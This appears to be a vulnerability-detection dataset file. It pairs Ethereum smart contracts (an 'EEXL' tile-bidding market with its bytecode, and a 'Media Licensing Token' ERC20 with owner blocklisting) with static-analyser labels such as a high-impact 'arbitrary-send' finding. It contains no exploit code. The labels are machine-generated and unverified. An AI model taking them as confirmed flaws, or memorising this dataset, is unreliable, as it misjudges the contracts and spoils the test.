uint256(10_000); collectedFees += fee; addressToPendingWithdrawalMap[msg.sender] += (uint256(amount) - fee); delete indexToAskMap[_getIndex(col, row)]; } function _withdraw(address account, address payable destination) internal { uint256 amount = addressToPendingWithdrawalMap[account]; require(amount > uint256(0), "EEXL: nothing pending"); addressToPendingWithdrawalMap[account] = uint256(0); _safeTransferETH(destination, amount); emit WithdrawalProcessed(account, destination, amount); } function withdraw(address payable destination) external { _withdraw(msg.sender, destination); } function withdraw() external { _withdraw(msg.sender, payable(msg.sender)); } }
0x6080604052600436106101a15760003560e01c80639003adfe116100e1578063cb6632ef1161008a578063e30c397811610064578063e30c3978146104dd578063e392dccf1461050a578063f0c3bf881461051d578063f2fde38b146106d357600080fd5b8063cb6632ef1461045c578063cff29dfd1461047e578063d86c0f331461049e57600080fd5b8063a3270d63116100bb578063a3270d63146103f2578063ae42672a1461041f578063c87965721461044757600080fd5b80639003adfe146103a35780639435c887146103c7578063978bbdb9146103dc57600080fd5b80634b6e29391161014e57806379ba50971161012857806379ba50971461032157806383bc11c0146103365780638da5cb5b146103565780638fdc2c371461038357600080fd5b80634b6e2939146102bf57806351cff8d9146102df5780636bb51803146102ff57600080fd5b80633ccfd60b1161017f5780633ccfd60b1461025f5780633e109a191461027657806345596e2e1461029f57600080fd5b806306fdde03146101a65780631d60ce8a146101d157806324d1f3d91461021e575b600080fd5b3480156101b257600080fd5b506101bb6106f3565b6040516101c89190612faa565b60405180910390f35b3480156101dd57600080fd5b506101f973b21f8684f23dbb1008508b4de91a0aaedebdb7e481565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101c8565b34801561022a57600080fd5b5061023e610239366004612d91565b610781565b6040516fffffffffffffffffffffffffffffffff90911681526020016101c8565b34801561026b57600080fd5b506102746107bf565b005b34801561028257600080fd5b5060035461023e906fffffffffffffffffffffffffffffffff1681565b3480156102ab57600080fd5b506102746102ba366004612d5b565b6107cb565b3480156102cb57600080fd5b506102746102da366004612e1b565b6108c5565b3480156102eb57600080fd5b506102746102fa366004612ce2565b610a92565b34801561030b57600080fd5b50610314610a9c565b6040516101c89190612f65565b34801561032d57600080fd5b50610274610b19565b34801561034257600080fd5b50610274610351366004612d1c565b610c17565b34801561036257600080fd5b506000546101f99073ffffffffffffffffffffffffffffffffffffffff1681565b34801561038f57600080fd5b5061027461039e366004612dca565b610cdb565b3480156103af57600080fd5b506103b960055481565b6040519081526020016101c8565b3480156103d357600080fd5b506102746115b1565b3480156103e857600080fd5b506103b960045481565b3480156103fe57600080fd5b506103b961040d366004612ce2565b60086020526000908152604090205481565b34801561042b57600080fd5b506101f97368549d7dbb7a956f955ec1263f55494f05972a6b81565b34801561045357600080fd5b506102746117e5565b34801561046857600080fd5b50610471611879565b6040516101c89190612f0b565b34801561048a57600080fd5b506101f9610499366004612d5b565b6118e8565b3480156104aa57600080fd5b5061023e6104b9366004612d37565b6009602052600090815260409020546fffffffffffffffffffffffffffffffff1681565b3480156104e957600080fd5b506001546101f99073ffffffffffffffffffffffffffffffffffffffff1681565b610274610518366004612e62565b61191f565b34801561052957600080fd5b5061065c610538366004612ce2565b6007602052600090815260409020546fffffffffffffffffffffffffffffffff81169060ff70010000000000000000000000000000000082048116917101000000000000000000000000000000000081048216917201000000000000000000000000000000000000820481169173010000000000000000000000000000000000000081048216917401000000000000000000000000000000000000000082048116917501000000000000000000000000000000000000000000810482169176010000000000000000000000000000000000000000000082048116917701000000000000000000000000000000000000000000000081049091169067ffffffffffffffff7801000000000000000000000000000000000000000000000000909104168a565b604080516fffffffffffffffffffffffffffffffff909b168b5260ff998a1660208c0152978916978a01979097529487166060890152928616608088015290851660a0870152841660c0860152831660e08501529190911661010083015267ffffffffffffffff16610120820152610140016101c8565b3480156106df57600080fd5b506102746106ee366004612ce2565b612403565b6002805461070090613135565b80601f016020809104026020016040519081016040528092919081815260200182805461072c90613135565b80156107795780601f1061074e57610100808354040283529160200191610779565b820191906000526020600020905b81548152906001019060200180831161075c57829003601f168201915b505050505081565b60006009600061079185856124f5565b61ffff1681526020810191909152604001600020546fffffffffffffffffffffffffffffffff169392505050565b6107c9333361259b565b565b60005473ffffffffffffffffffffffffffffffffffffffff163314610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e6572000000000000000000000000000000000060448201526064015b60405180910390fd5b6101f481600481905511156108c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4545584c3a20496e76616c6964206665655261746500000000000000000000006044820152606401610848565b50565b6040517fe039e4a100000000000000000000000000000000000000000000000000000000815260ff808516600483015283166024820152339073b21f8684f23dbb1008508b4de91a0aaedebdb7e49063e039e4a19060440160206040518083038186803b15801561093557600080fd5b505afa158015610949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190612cff565b73ffffffffffffffffffffffffffffffffffffffff16146109ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4545584c3a204e6f742074696c65206f776e65720000000000000000000000006044820152606401610848565b80600960006109f986866124f5565b61ffff168152602080820192909252604090810160002080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff949094169384179055805160ff808816825286169281019290925233917f8710c8e71d855714dfd32244e0a1318e49402d7f60eab08aea564bee428d7131910160405180910390a3505050565b6108c2338261259b565b610aa4612c9d565b60005b6104408111610b155761ffff81166000908152600960205260409020546fffffffffffffffffffffffffffffffff1682826104408110610ae957610ae9613271565b6fffffffffffffffffffffffffffffffff9092166020929092020152610b0e81613189565b9050610aa7565b5090565b60015473ffffffffffffffffffffffffffffffffffffffff163314610b9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4545584c3a204e6f742070656e64696e67206f776e65720000000000000000006044820152606401610848565b60008054604051339273ffffffffffffffffffffffffffffffffffffffff909216917f69398fb338bc46e7da38943cd2da3021d7a38be07d6385dae286d2ec93d3b48591a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600180549091169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e657200000000000000000000000000000000006044820152606401610848565b600380547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff92909216919091179055565b6040517fe039e4a100000000000000000000000000000000000000000000000000000000815260ff808616600483015284166024820152339073b21f8684f23dbb1008508b4de91a0aaedebdb7e49063e039e4a19060440160206040518083038186803b158015610d4b57600080fd5b505afa158015610d5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d839190612cff565b73ffffffffffffffffffffffffffffffffffffffff1614610e00576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e657200000000000000000000000000000000006044820152606401610848565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260076020526040902080546fffffffffffffffffffffffffffffffff16828110801590610e655750815460ff700100000000000000000000000000000000909104811690871610155b8015610e8e5750815460ff71010000000000000000000000000000000000909104811690871611155b8015610eb85750815460ff7201000000000000000000000000000000000000909104811690861610155b8015610ee35750815460ff730100000000000000000000000000000000000000909104811690861611155b8015610fb6575081546040517f4166c1fd00000000000000000000000000000000000000000000000000000000815260ff8881166004830152878116602483015274010000000000000000000000000000000000000000909204909116907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b158015610f7857600080fd5b505afa158015610f8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb09190612d74565b60ff1610155b801561108a575081546040517f4166c1fd00000000000000000000000000000000000000000000000000000000815260ff888116600483015287811660248301527501000000000000000000000000000000000000000000909204909116907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b15801561104c57600080fd5b505afa158015611060573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110849190612d74565b60ff1611155b80156110c057508154760100000000000000000000000000000000000000000000900460ff166110ba87876126b8565b60ff1610155b80156110f75750815477010000000000000000000000000000000000000000000000900460ff166110f187876126b8565b60ff1611155b61115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4545584c3a2074696c6520646f65736e2774206d6565742062696420726571736044820152606401610848565b81546040805160ff8981168252888116602083015270010000000000000000000000000000000084048116828401527101000000000000000000000000000000000084048116606083015272010000000000000000000000000000000000008404811660808301527301000000000000000000000000000000000000008404811660a0830152740100000000000000000000000000000000000000008404811660c083015275010000000000000000000000000000000000000000008404811660e08301527601000000000000000000000000000000000000000000008404811661010083015277010000000000000000000000000000000000000000000000909304909216610120830152516fffffffffffffffffffffffffffffffff83169173ffffffffffffffffffffffffffffffffffffffff87169133917f0303339d5ae88b3e9b29b5f5a4b8442d8e17ded208f931875d3b4c8d462f80ef91908190036101400190a481546112f79085907801000000000000000000000000000000000000000000000000900467ffffffffffffffff1661292c565b6040517f7d5fec5a00000000000000000000000000000000000000000000000000000000815260ff80881660048301528616602482015273ffffffffffffffffffffffffffffffffffffffff8516604482015273b21f8684f23dbb1008508b4de91a0aaedebdb7e490637d5fec5a90606401600060405180830381600087803b15801561138357600080fd5b505af1158015611397573d6000803e3d6000fd5b50506040517fe039e4a100000000000000000000000000000000000000000000000000000000815260ff808a1660048301528816602482015273ffffffffffffffffffffffffffffffffffffffff8716925073b21f8684f23dbb1008508b4de91a0aaedebdb7e4915063e039e4a19060440160206040518083038186803b15801561142157600080fd5b505afa158015611435573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114599190612cff565b73ffffffffffffffffffffffffffffffffffffffff16146114d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f4545584c3a206661696c65642073657474696e672074696c65206f776e6572006044820152606401610848565b6000612710600454836fffffffffffffffffffffffffffffffff166114fb91906130be565b6115059190613080565b905080600560008282546115199190613043565b9091555061153b9050816fffffffffffffffffffffffffffffffff84166130fb565b336000908152600860205260408120805490919061155a908490613043565b9091555060099050600061156e89896124f5565b61ffff168152602081019190915260400160002080547fffffffffffffffffffffffffffffffff0000000000000000000000000000000016905550505050505050565b33600090815260076020526040902080546fffffffffffffffffffffffffffffffff168061163b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4545584c3a204e6f206578697374696e672062696400000000000000000000006044820152606401610848565b815460408051700100000000000000000000000000000000830460ff908116825271010000000000000000000000000000000000840481166020830152720100000000000000000000000000000000000084048116828401527301000000000000000000000000000000000000008404811660608301527401000000000000000000000000000000000000000084048116608083015275010000000000000000000000000000000000000000008404811660a08301527601000000000000000000000000000000000000000000008404811660c08301527701000000000000000000000000000000000000000000000090930490921660e0830152516fffffffffffffffffffffffffffffffff83169133917f944a025a98deacc6d65fa8bab0b08fd67ccab0c7c1c37a1d7a460ceb928f003d918190036101000190a381546117ab9033907801000000000000000000000000000000000000000000000000900467ffffffffffffffff1661292c565b33600090815260086020526040812080546fffffffffffffffffffffffffffffffff841692906117dc908490613043565b90915550505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e657200000000000000000000000000000000006044820152606401610848565b6005805460009091556108c23382612ad1565b606060068054806020026020016040519081016040528092919081815260200182805480156118de57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff1681526001909101906020018083116118b3575b5050505050905090565b600681815481106118f857600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b333214611988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f4545584c3a206e6f7420454f41000000000000000000000000000000000000006044820152606401610848565b6fffffffffffffffffffffffffffffffff341115611a02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4545584c3a2076616c756520746f6f20686967680000000000000000000000006044820152606401610848565b6003546fffffffffffffffffffffffffffffffff16341015611a80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4545584c3a207265712062696420616d74203e3d206d696e42696400000000006044820152606401610848565b336000908152600760205260409020546fffffffffffffffffffffffffffffffff1615611b09576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4545584c3a20626964206578697374732c2063616e63656c20666972737400006044820152606401610848565b611b1288612ba0565b611b78576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e436f6c204f4f42000000000000000000000000000000006044820152606401610848565b611b8187612ba0565b611be7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178436f6c204f4f42000000000000000000000000000000006044820152606401610848565b8660ff168860ff161115611c57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e436f6c203c3d206d6178436f6c0000000000006044820152606401610848565b611c6086612ba0565b611cc6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e526f77204f4f42000000000000000000000000000000006044820152606401610848565b611ccf85612ba0565b611d35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178526f77204f4f42000000000000000000000000000000006044820152606401610848565b8460ff168660ff161115611da5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e526f77203c3d206d6178526f770000000000006044820152606401610848565b611dae84612bb1565b611e14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e456c65204f4f42000000000000000000000000000000006044820152606401610848565b611e1d83612bb1565b611e83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178456c65204f4f42000000000000000000000000000000006044820152606401610848565b8260ff168460ff161115611ef3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e456c65203c3d206d6178456c650000000000006044820152606401610848565b600660ff83161115611f61576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d696e576174204f4f42000000000000000000000000000000006044820152606401610848565b600660ff82161115611fcf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f4545584c3a206d6178576174204f4f42000000000000000000000000000000006044820152606401610848565b8060ff168260ff16111561203f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4545584c3a20726571206d696e576174203c3d206d61785761740000000000006044820152606401610848565b60065467ffffffffffffffff81106120b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f4545584c3a20746f6f206d616e792062696473000000000000000000000000006044820152606401610848565b604051806101400160405280346fffffffffffffffffffffffffffffffff1681526020018a60ff1681526020018960ff1681526020018860ff1681526020018760ff1681526020018660ff1681526020018560ff1681526020018460ff1681526020018360ff1681526020018267ffffffffffffffff16815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548160ff021916908360ff16021790555060408201518160000160116101000a81548160ff021916908360ff16021790555060608201518160000160126101000a81548160ff021916908360ff16021790555060808201518160000160136101000a81548160ff021916908360ff16021790555060a08201518160000160146101000a81548160ff021916908360ff16021790555060c08201518160000160156101000a81548160ff021916908360ff16021790555060e08201518160000160166101000a81548160ff021916908360ff1602179055506101008201518160000160176101000a81548160ff021916908360ff1602179055506101208201518160000160186101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050506006339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550346fffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffdd112ffa368681c99ed9f845ed96123a44a1752ad73d4df220fee9ea848870b8b8b8b8b8b8b8b8b6040516123f098979695949392919060ff98891681529688166020880152948716604087015292861660608601529085166080850152841660a0840152831660c083015290911660e08201526101000190565b60405180910390a3505050505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314612484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e657200000000000000000000000000000000006044820152606401610848565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811790915560405133907fb150023a879fd806e3599b6ca8ee3b60f0e360ab3846d128d67ebce1a391639a90600090a350565b600061250083612ba0565b8015612510575061251082612ba0565b612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4545584c3a20496e76616c696420636f6c20616e642f6f7220726f77000000006044820152606401610848565b8160ff1660218460ff1661258a9190613094565b612594919061301d565b9392505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526008602052604090205480612628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4545584c3a206e6f7468696e672070656e64696e6700000000000000000000006044820152606401610848565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600860205260408120556126588282612ad1565b808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fcd1fce47d5ad89dd70b04c75bd6bdb8114d4d4ff7b4393f9fb5937e733ba958260405160405180910390a4505050565b6000600160ff8416108015906126d25750601f60ff841611155b61275e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4545584c3a20576174657220636f756e74696e67207265717572657320636f6c60448201527f20312d33310000000000000000000000000000000000000000000000000000006064820152608401610848565b600160ff8316108015906127765750601f60ff831611155b612802576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4545584c3a20576174657220636f756e74696e67207265717572657320636f6c60448201527f20312d33310000000000000000000000000000000000000000000000000000006064820152608401610848565b600161280f6002846131c2565b60ff1614156128775761283e61283961282960018661305b565b61283460018661305b565b612bd0565b612c87565b612848908261305b565b905061286661283961285b60018661305b565b612834600186613112565b612870908261305b565b90506128b2565b61288861283961285b600186613112565b612892908261305b565b90506128a5612839612829600186613112565b6128af908261305b565b90505b6128c461283984612834600186613112565b6128ce908261305b565b90506128e26128398461283460018661305b565b6128ec908261305b565b90506129056128396128ff60018661305b565b84612bd0565b61290f908261305b565b90506129226128396128ff600186613112565b612594908261305b565b6006805460009190612940906001906130fb565b8154811061295057612950613271565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff908116915083168114612a3d578060068367ffffffffffffffff168154811061299c5761299c613271565b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9485161790559183168152600790915260409020805477ffffffffffffffffffffffffffffffffffffffffffffffff16780100000000000000000000000000000000000000000000000067ffffffffffffffff8516021790555b73ffffffffffffffffffffffffffffffffffffffff83166000908152600760205260408120556006805480612a7457612a74613242565b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055505050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612b2b576040519150601f19603f3d011682016040523d82523d6000602084013e612b30565b606091505b5050905080612b9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4545584c3a20455448207472616e73666572206661696c6564000000000000006044820152606401610848565b505050565b6000602060ff831611155b92915050565b6000607d60ff831610801590612bab575060d860ff8316111592915050565b6040517f4166c1fd00000000000000000000000000000000000000000000000000000000815260ff808416600483015282166024820152600090607d907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b158015612c4457600080fd5b505afa158015612c58573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c7c9190612d74565b60ff16109392505050565b600081612c95576000612bab565b600192915050565b604051806188000160405280610440906020820280368337509192915050565b80356fffffffffffffffffffffffffffffffff81168114612cdd57600080fd5b919050565b600060208284031215612cf457600080fd5b8135612594816132a0565b600060208284031215612d1157600080fd5b8151612594816132a0565b600060208284031215612d2e57600080fd5b61259482612cbd565b600060208284031215612d4957600080fd5b813561ffff8116811461259457600080fd5b600060208284031215612d6d57600080fd5b5035919050565b600060208284031215612d8657600080fd5b8151612594816132c2565b60008060408385031215612da457600080fd5b8235612daf816132c2565b91506020830135612dbf816132c2565b809150509250929050565b60008060008060808587031215612de057600080fd5b8435612deb816132c2565b93506020850135612dfb816132c2565b92506040850135612e0b816132a0565b9396929550929360600135925050565b600080600060608486031215612e3057600080fd5b8335612e3b816132c2565b92506020840135612e4b816132c2565b9150612e5960408501612cbd565b90509250925092565b600080600080600080600080610100898b031215612e7f57600080fd5b8835612e8a816132c2565b97506020890135612e9a816132c2565b96506040890135612eaa816132c2565b95506060890135612eba816132c2565b94506080890135612eca816132c2565b935060a0890135612eda816132c2565b925060c0890135612eea816132c2565b915060e0890135612efa816132c2565b809150509295985092959890939650565b6020808252825182820181905260009190848201906040850190845b81811015612f5957835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101612f27565b50909695505050505050565b6188008101818360005b610440811015612fa15781516fffffffffffffffffffffffffffffffff16835260209283019290910190600101612f6f565b50505092915050565b600060208083528351808285015260005b81811015612fd757858101830151858201604001528201612fbb565b81811115612fe9576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b600061ffff80831681851680830382111561303a5761303a6131e4565b01949350505050565b60008219821115613056576130566131e4565b500190565b600060ff821660ff84168060ff03821115613078576130786131e4565b019392505050565b60008261308f5761308f613213565b500490565b600061ffff808316818516818304811182151516156130b5576130b56131e4565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130f6576130f66131e4565b500290565b60008282101561310d5761310d6131e4565b500390565b600060ff821660ff84168082101561312c5761312c6131e4565b90039392505050565b600181811c9082168061314957607f821691505b60208210811415613183577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131bb576131bb6131e4565b5060010190565b600060ff8316806131d5576131d5613213565b8060ff84160691505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff811681146108c257600080fd5b60ff811681146108c257600080fdfea26469706673582212206e2b7d34ee3ba92d5741c036cbe8865c3273c3dfd6538c1adce64478c45e5c9364736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,528
0x9506d37f70eB4C3d79C398d326C871aBBf10521d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Ownable is Context { // Holds the owner address address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Our main contract which implements all ERC20 standard methods contract MediaLicensingToken is Context, IERC20, IERC20Metadata, Ownable { // Holds all the balances mapping (address => uint256) private _balances; // Holds all allowances mapping (address => mapping (address => uint256)) private _allowances; // Holds all blacklisted addresses mapping (address => bool) private _blocklist; // They can only be decreased uint256 private _totalSupply; // Immutable they can only be set once during construction string private _name; string private _symbol; uint256 private _maxTokens; // Events event Blocklist(address indexed account, bool indexed status); // The initializer of our contract constructor () { _name = "Media Licensing Token"; _symbol = "MLT"; // Holds max mintable limit, 200 million tokens _maxTokens = 200000000000000000000000000; _mint(_msgSender(), _maxTokens); } /* * PUBLIC RETURNS */ // Returns the name of the token. function name() public view virtual override returns (string memory) { return _name; } // Returns the symbol of the token function symbol() public view virtual override returns (string memory) { return _symbol; } // Returns the number of decimals used function decimals() public view virtual override returns (uint8) { return 18; } // Returns the total supply function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } // Returns the balance of a given address function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } // Returns the allowances of the given addresses function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } // Returns a blocked address of a given address function isBlocked(address account) public view virtual returns (bool) { return _blocklist[account]; } /* * PUBLIC FUNCTIONS */ // Calls the _transfer function for a given recipient and amount function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } // Calls the _transfer function for a given array of recipients and amounts function transferArray(address[] calldata recipients, uint256[] calldata amounts) public virtual returns (bool) { for (uint8 count = 0; count < recipients.length; count++) { _transfer(_msgSender(), recipients[count], amounts[count]); } return true; } // Calls the _approve function for a given spender and amount function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } // Calls the _transfer and _approve function for a given sender, recipient and amount function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } // Calls the _approve function for a given spender and added value (amount) function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } // Calls the _approve function for a given spender and substracted value (amount) function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * PUBLIC (Only Owner) */ // Calls the _burn internal function for a given amount function burn(uint256 amount) public virtual onlyOwner { _burn(_msgSender(), amount); } function blockAddress (address account) public virtual onlyOwner { _block(account, true); } function unblockAddress (address account) public virtual onlyOwner { _block(account, false); } /* * INTERNAL (PRIVATE) */ function _block (address account, bool status) internal virtual { require(account != _msgSender(), "ERC20: message sender can not block or unblock himself"); _blocklist[account] = status; emit Blocklist(account, status); } // Implements the transfer function for a given sender, recipient and amount function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } // Implements the mint function for a given account and amount function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; // Paranoid security require(_totalSupply <= _maxTokens, "ERC20: mint exceeds total supply limit"); _balances[account] += amount; emit Transfer(address(0), account, amount); } // Implements the burn function for a given account and amount function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } // Implements the approve function for a given owner, spender and amount function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * INTERNAL (PRIVATE) HELPERS */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { require(_blocklist[from] == false && _blocklist[to] == false, "MLTERC20: transfer not allowed"); require(amount > 0, "ERC20: amount must be above zero"); } }
